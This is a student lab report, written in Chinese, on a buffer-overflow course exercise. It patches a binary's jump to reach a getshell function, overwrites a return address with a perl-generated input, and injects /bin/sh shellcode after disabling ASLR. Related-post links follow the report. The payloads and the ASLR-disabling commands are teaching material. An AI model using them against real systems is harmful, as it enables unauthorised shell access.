2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验
2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验
声明
虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用,在此声明bakugou就是我(是的我就是咔酱!)
实验部分
实验点1:逆向及Bof基础实践
实验开始前,老师给了我们一个pwn1文件,先让我们来看看它是做什么的:
和实验指导中说的一样,pwm1正常执行可简单回显任何用户输入的字符串。
在这里我们首先养成一个好习惯,将原代码其复制一下,并将新文件命名为2016522,完成之后,我们便可通过反汇编查看20165225中的具体信息啦
反汇编指令:objdump -d 20165225(名称)
由于代码较长,我便截了两个我们比较关心的函数,一个是主函数main,和我们需要利用的foo函数,易见他们的跳转代码。
我们若是想利用缓冲区漏洞,将代码跳转到我们想执行的区域,就要了解他是怎么跳的:
首先看跳转指令执行后的下一个地址80484ba,以及跳转之后到达的foo函数地址8048491,显而易见应该是进行了加减运算实现了地址偏移,我们计算来验证一下:
80484ba - 8048491 = 4ba - 491 = 0x29
0x29 =41,补码为d7ffffff,即跳转指令的机器码。
由此我们可知跳转的下一地址加上偏移量即可得到转移后的地址,我们想触发这个代码中的getshell函数,就要把偏移量计算出来:
图中getshell的地址为804847d,则我们需要的偏移量补码为804847d - 80484ba = 47d - 4ba = -3d,即c3
我们可通过
vim 20145211
查看原码,接着使用指令%!xxd
将原码调成16进制显示。我们可通过
/ + 关键词
查找到d7ffffff,单击键盘i
进入编辑模式,将d7修改为c3修改完成后输入esc退出编辑模式,再输入
%!xxd -r
变回原码,输入wq保存并退出。结果可见我们成功跳转到了getshell函数
实验点2:自己构造输入参数使缓冲区溢出
实验开始时我们同样养成cp的好习惯,将新可执行文件命名为wgy,开始gdb调试。
我们通过
r
命令将其运行起来,并输入一个超过其缓冲区的数(不停的试),直到他的eip出现错误提示下图我们可以看到代码报错了,此时的eip指令寄存器存储的地址为0x35353535,此ASCII值代表5555,我们便知道我们输入的一大串中的5555覆盖了原来的地址,但是我一共打了8个5,并不知道是哪4个覆盖了。
于是我将输入中的5改成不一样的数字以便后续观察
查看指令寄存器eip内的值为0x34333231,表示4321(小端显示),由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0804847d(getshel地址)进行覆盖。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。
我们可通过命令行输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(\x0a表示回车)
重定向一个input文件,并使用xxd查看其16进制内容。我们通过管道
|
,把input作为20154305的输入,覆盖返回地址,完整命令为(cat input; cat) | ./wgy
运行shell指令
ls
,发现成功运行。实验点3:注入shellcode并执行(RNS)
使用
apt-get installexecstack
命令安装execstack。然后接连输入:
execstack -s pwn1
execstack -q pwn1
more /proc/sys/kernel/randomizevaspace
2
echo "0" > /proc/sys/kernel/randomizevaspace
more /proc/sys/kernel/randomizevaspace
0
使用命令
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input2
注入input2,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,下面找这个返回地址。在终端里用
(cat input2;cat) | ./5225wgy
作为输入,回车后不要动这个终端,然后去打开另一个终端。在第二个终端中
ps -ef | grep 5225wgy
查看pwn进程号,gdb5225wgy,使用attach 进程号
去查看进程。使用
disassemble foo
命令反汇编代码,用break *0x080484ae
命令设置断点,来查看注入buf的内存地址:
,输入c
继续运行,同时在原来的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
命令查找地址用
x/16x 0xffffd2bc
命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input2可知,shellcode就在其后,所以地址应为0xffffd2c0接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令
perl -e 'print "A" x 32;print "\xc0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input2
再用(cat input_shellcode;cat) | ./5225wgy
可见攻击成功(就是结果有点怪..)
报告部分
实验收获与感想
答:实验还行,没有遇到什么没有解决的问题,也没有比较难懂的地方,就是计算方面有点忘了(虽然上学期刚学完),之后询问同学得以解决。
什么是漏洞?漏洞有什么危害?
答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,是受限制的计算机、组件、应用程序或其他联机资源的无意中留下的不受保护的入口点。
危害:可以使攻击者能够在未授权的情况下访问或破坏系统。
遇到的问题:
echo "0" > /proc/sys/kernel/randomizevaspace
输入后显示bash:/proc/sys/kernel/randomize_va_space :权限不够解决:使用
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
即可关闭ASLR掌握NOP, JNE, JE, JMP
答:百度可得
NOP:无作用,英文"no operation"的简写,意思是"do nothing"(机器码90)
JNE:若不相等则跳(机器码75)
JE:若相等则跳(机器码74)
JMP:无条件转移指令。段内直接短转Jmp
CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。(机器码38)
CMP汇编指令的机器码
答:见本实验内容
掌握反汇编与十六进制编程器
答:见本实验内容
能正确修改机器指令改变程序执行流程
答:见本实验内容
能正确构造payload进行bof攻击
答:见本实验内容
2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验的更多相关文章
- 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验
2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...
- 2018-2019-2 20165313《网络对抗技术》Exp1 缓冲区溢出实验
实践涉及指令 NOP:NOP指令即"空指令".执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令.(机器码:90) JNE:条件转移指令, ...
- 2018-2019-2 20165212《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165212<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo ...
- 20155208徐子涵 《网络对抗技术》Web基础
20155208徐子涵 <网络对抗技术>Web基础 实验要求 Web前端HTML Web前端javascipt Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密 ...
- 20145311 王亦徐 《网络对抗技术》 Web基础
20145311 王亦徐 <网络对抗技术> Web基础 实验内容 简单的web前端页面(HTML.CSS等) 简单的web后台数据处理(PHP) Mysql数据库 一个简单的web登陆页面 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
随机推荐
- MariaDB:SSL配置
参考文章:https://blog.csdn.net/johnhill_/article/details/72831932 ,谢谢! 1.安装openssl 下载地址:http://slproweb. ...
- H - 栀子花开
这是一个栀子花开的季节,也是一个离别的季节,四年一千多个日日夜夜,那校园的角角落落,留下了我们沉思的身影:那上百次的成绩排名表,印证了我们深深浅浅不断进步的轨迹,但是这些进步都离不开老师的谆谆教诲. ...
- VMware虚拟机从一台电脑复制到另一台电脑
1.选中.vmx文件和所有的.vmdk文件,添加到压缩文件 vmx是虚拟系统配置文件,而vmdk则是虚拟磁盘文件,它们都是VMware所支持的文件格式 2.复制压缩文件到另一台电脑上,并解压 3.在另 ...
- Windows下多个Mysql实例配置主从(转)
https://www.cnblogs.com/jpfss/p/8143720.html 序: 网上有很多类似的文章,也是各种百度出来的,但是对于多数刚开始接触MYSQL主从的小白来说,网上文 ...
- powershell 激活WIN10
1.以win10专业版为例,鼠标右键点击开始图标,选择[windows powershell(管理员)],或者命令提示符管理员:2.打开命令窗口,复制这个命令slmgr /ipk W269N-WFGW ...
- lxml.etree.HTML(text) 解析HTML文档
0.参考 http://lxml.de/tutorial.html#the-xml-function There is also a corresponding function HTML() for ...
- 新世界主机_XenServer7.0都有哪些优势?
新世界主机VPS全部都采用了Xen硬件虚拟化技术,每个用户都能够独享资源,一键就可以创建和重装VPS,每个VPS都拥有足够的带宽,保证顺畅运行(http://m.0830mn.com). 新世界主机使 ...
- Selenium的webdriver的常用方法,鼠标事件
就来认识 WebDriver 中最常用的几个方法: get():跳转到的地址clear(): 清除文本. send_keys (value): 模拟按键输入. click(): 单击元素. 示例: f ...
- 20172328 2018-2019《Java软件结构与数据结构》第七周学习总结
20172328 2018-2019<Java软件结构与数据结构>第七周学习总结 概述 Generalization 本周学习了第11章:二叉查找树.在本章中,主要探讨了二叉查找树的概念和 ...
- 一次国际化记录以及平铺JSON数据
写这个方法的原因是因为我们需要改版国际化,因为相同的项目有其他分支做过国际化,但是主版本没有进行过国际化,目前需要修改主版本的国际化,但是因为国际化的方式做了结构上的调整所以写了这个工具方法方便去 ...